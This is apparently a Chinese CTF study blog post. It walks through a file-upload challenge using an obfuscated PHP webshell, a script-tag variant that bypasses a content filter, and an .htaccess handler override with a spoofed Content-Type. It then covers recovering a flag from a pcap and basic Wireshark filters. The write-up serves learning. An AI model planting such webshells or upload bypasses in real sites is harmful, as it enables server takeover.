文件上传巩固及流量分析

1.[GXYCTF2019]BabyUpload

1)打开题目也是没有任何提示,

2)进入环境,看到下面页面猜测是文件上传漏洞,下面开始传文件

3)首先上传一句话木马 a.php,代码如下:

下面这个代码中并没有写传统的一句话木马,因为直接写一句话木马需要关闭系统防火墙**。**

<?php
	$a="a"."s";
	$b="s"."e"."rt";
	$c=$a.$b;
	$c($_POST['123']);
?>

提示后缀不能有ph,那么根据前面做过类似文件上传的题,php3,php5,phtml等后缀也无法使用了。

5)那就将文件后缀改为 jpg,上传后页面如下:

6)由此我们得知,后端检测出我们的.jpg文件源码中含有php代码。

那么只有将.jpg文件中的php代码用 javascript 的形式代替了,代码如下:

<script language='php'>
    $a = "a"."s";
    $b = "s"."e"."r"."t";
    $c = $a.$b;
    $c($_POST["123"]);
</script>

重新上传,页面如下:

7)这里也是上传成功了,接下来按照之前做题惯例,它应该还得解析jpg文件中的php代码了,这时就需要上传.htaccess文件来帮助解析,它必须包含以下代码

SetHandler application/x-httpd-php

这条命令可以解析所有后缀文件中的 php 代码。

上传出现这问题我也是懵了,抓个包看看吧

猜测应该是,后端代码对文件类型--Content-type有限制。

这就需要我们在上传 .htaccess 文件的同时,利用Burpsuite进行抓包,修改 Content-type为image/jpeg,如下:

修改为image/jpeg

然后放包

页面显示上传成功**(.htaccess successfully uploaded)**

然后再次上传jpg文件,如下:

由此可以拼接网址

http://c36ead8b-24f9-48f5-ab15-e7308cb50dc7.node5.buuoj.cn:81/upload/c9b8b9f7c985fa1d10ca30c0f9a2de85/b.jpg

然后用蚁剑链接

成功找到flag

总结一下这题简单来说它就是过滤了php,限制了文件上传的内容,然后需要解析jpg文件,需要上传.htaccess文件来进行解析,以及修改数据类型,拼接url头等

2.数据包中的线索

1)下载附件,用wireshark打开,从中进行数据分析

2)过滤一下http流

3)找到一个状态值为200的,看着有点问题,打开seesee

看到里面是类似于base64编码的一大篇

4)选中编码去解码,注意最后面多了个0要去掉

太大解析不出来,直接将他存为图片

拿到 flag{209acebf6324a09671abc31c869de72c}

当然这里需要注意的是

/9j是jpg文件头的 base64 编码

3.最后加上昨天学的再总结一下流量分析

首先whireshark提供了三个主要面板,包括:

抓包面板(Capture Panel):

抓包面板用于捕获网络数据包,并显示已经捕获的数据包列表。在该面板中,可以选择捕获的网络接口、设置捕获过滤器、启动和停止抓包等操作。此外,还可以通过右键单击数据包,查看详细信息、导出数据包、跟踪TCP流等。

数据包列表面板(Packet List Panel):

数据包列表面板显示已经捕获的数据包列表,其中每个数据包占据一行,并列出了有关该数据包的一些关键信息,如时间戳、源IP地址、目标IP地址、协议类型、数据包长度等。此外,还可以通过对列表进行排序、筛选、搜索等操作,方便用户查找和分析数据包。

数据包详情面板(Packet Detail Panel):

数据包详情面板显示选定数据包的详细信息,包括各个协议层的数据结构和字段值。用户可以通过展开不同的节点,查看不同的协议头和数据负载,帮助用户深入理解数据包的内容和意义。

常用语法:

(在搜索框输入http即可看http的流量)

tcp:显示所有TCP协议的数据包
udp:显示所有UDP协议的数据包
http:显示所有HTTP协议的数据包
dns:显示所有DNS协议的数据包
icmp:显示所有ICMP协议的数据包

ip地址筛选:
ip.addr == 192.168.0.1:显示与指定IP地址相关的所有数据包
ip.src == 192.168.0.1 :显示源IP地址为指定地址的数据包
ip.dst == 192.168.0.2:显示目标IP地址为指定地址的数据包

端口筛选:
tcp.port == 80:显示使用指定TCP端口的数据包
udp.port == 53:显示使用指定UDP端口的数据包

比较运算符:
==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定过滤数据包长度

数据包内容过滤规则:
http.request.method == "GET" 或 tcp.flags.syn == 1,可以通过指定数据包内容,只保留符合条件的数据包。

: 关于我也不太懂的一点

就是在TCP三次握手过程中,客户端向服务端发送一个SYN标志的数据包,表示请求建立连接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN标志的过滤规则,其中1表示该标志位被置为1,表示该数据包是一个SYN数据包。当Wireshark捕获到一个TCP数据包时,会检查该数据包的TCP头部中的SYN标志位是否被置为1,如果符合条件,则该数据包会被匹配并显示出来。这样,用户就可以快速过滤出所有的TCP SYN数据包,方便进行相关的分析和处理。

相关推荐
丁总学Java12 分钟前
微信小程序-npm支持-如何使用npm包
前端·微信小程序·npm·node.js
懒羊羊大王呀23 分钟前
CSS——属性值计算
前端·css
无咎.lsy1 小时前
vue之vuex的使用及举例
前端·javascript·vue.js
fishmemory7sec1 小时前
Electron 主进程与渲染进程、预加载preload.js
前端·javascript·electron
fishmemory7sec1 小时前
Electron 使⽤ electron-builder 打包应用
前端·javascript·electron
豆豆2 小时前
为什么用PageAdmin CMS建设网站?
服务器·开发语言·前端·php·软件构建
twins35203 小时前
解决Vue应用中遇到路由刷新后出现 404 错误
前端·javascript·vue.js
qiyi.sky3 小时前
JavaWeb——Vue组件库Element(3/6):常见组件:Dialog对话框、Form表单(介绍、使用、实际效果)
前端·javascript·vue.js
煸橙干儿~~3 小时前
分析JS Crash(进程崩溃)
java·前端·javascript
安冬的码畜日常3 小时前
【D3.js in Action 3 精译_027】3.4 让 D3 数据适应屏幕(下)—— D3 分段比例尺的用法
前端·javascript·信息可视化·数据可视化·d3.js·d3比例尺·分段比例尺